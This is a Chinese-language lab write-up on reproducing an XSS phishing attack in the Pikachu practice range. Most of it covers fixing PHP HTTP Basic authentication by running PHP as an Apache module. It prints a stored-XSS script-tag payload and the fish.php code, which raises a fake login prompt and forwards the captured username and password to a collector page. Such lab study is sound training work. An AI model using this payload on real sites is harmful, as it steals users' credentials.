Pikachu靶场系列之XSS钓鱼攻击与PHP中的HTTP认证
字数 1449 2025-08-18 11:39:22
PHP HTTP认证与XSS钓鱼攻击教学文档
一、背景与问题描述
在Pikachu靶场中复现XSS钓鱼攻击时,遇到Basic认证后数据无法发送到后台的问题,表现为不断重复弹出认证提示框。
二、问题原因分析
1. 核心问题
PHP的HTTP认证机制仅在PHP以Apache模块方式运行时才有效,不适用于CGI版本。
2. 验证方法
通过var_dump($_SERVER)发现$_SERVER['PHP_AUTH_USER']和$_SERVER['PHP_AUTH_PW']变量不存在。
3. 根本原因
phpStudy默认以CGI/FastCGI模式运行PHP,而HTTP认证需要Apache模块模式。
三、解决方案:重新部署环境
1. 安装Apache
- 下载Apache(需匹配VC版本)
- 修改
httpd.conf中的Define SRVROOT为实际解压目录 - 以管理员身份安装服务:
G:\Apache24\bin\httpd.exe -k install -n apache - 启动Apache服务
2. 配置PHP
版本选择要点:
- VC版本:必须与Apache一致(如VC15)
- TS/NTS:选择TS(线程安全)版本
- x86/x64:与Apache架构一致
配置步骤:
- 下载并解压PHP
- 修改
httpd.conf添加:LoadModule php7_module G:/php/php7apache2_4.dll PHPIniDir G:/php AddType application/x-httpd-php .php - 配置
php.ini:- 启用
extension=mysqli - 设置
extension_dir="G:/php/ext"
- 启用
3. 验证安装
创建test.php:
<?php phpinfo(); ?>
访问后确认Server API显示为Apache 2.0 Handler。
四、PHP运行模式详解
1. CGI协议模式
- 每次请求都fork新进程
- 调用流程:
- 用户请求 → 2. Web服务器接收 → 3. fork子进程调用程序 → 4. 程序返回 → 5. 销毁进程 → 6. 返回用户
2. Fast-CGI协议模式
- 常驻进程,无需频繁创建销毁
- 调用流程:
- 预先fork n个进程 → 2. 用户请求 → 3. Web服务器接收 → 4. 交给空闲Fast-CGI进程 → 5. 处理完成等待下次请求
3. Apache模块模式
- PHP作为Apache模块运行
- 调用流程:
- Apache启动时加载PHP模块 → 2. 直接处理PHP请求 → 3. 返回结果
4. PHP-Cli模式
- 命令行专用模式
- 特点:
- 无超时限制
- 直接输出到控制台
- 配置和可用函数与web模式不同
五、XSS钓鱼攻击复现
1. 环境准备
- 将Pikachu靶场放入htdocs
- 启动MySQL服务(可单独使用phpStudy的MySQL)
2. 攻击步骤
- 在存储型XSS页面插入恶意代码:
<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script> - 受害者访问页面时触发Basic认证
- 认证信息通过
fish.php发送到攻击者后台
3. fish.php代码分析
<?php
error_reporting(0);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
// 发送认证框
header('Content-type:text/html;charset=utf-8');
header("WWW-Authenticate: Basic realm='认证'");
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))) {
// 发送信息到后台
header("Location: http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
exit;
}
?>
六、关键知识点总结
-
HTTP认证依赖关系:PHP的HTTP认证(
PHP_AUTH_USER/PHP_AUTH_PW)仅工作在Apache模块模式 -
环境配置要点:
- Apache与PHP的VC版本必须一致
- 模块模式需要TS版本的PHP
- 架构(x86/x64)建议保持一致
-
钓鱼攻击原理:
- 通过XSS注入恶意脚本
- 利用Basic认证获取凭据
- 将凭据发送到攻击者服务器
-
调试技巧:
- 使用
var_dump($_SERVER)查看服务器变量 - 通过
phpinfo()确认运行模式
- 使用
-
安全防护:
- 输入过滤防止XSS
- 重要操作使用CSRF Token
- 对认证请求保持警惕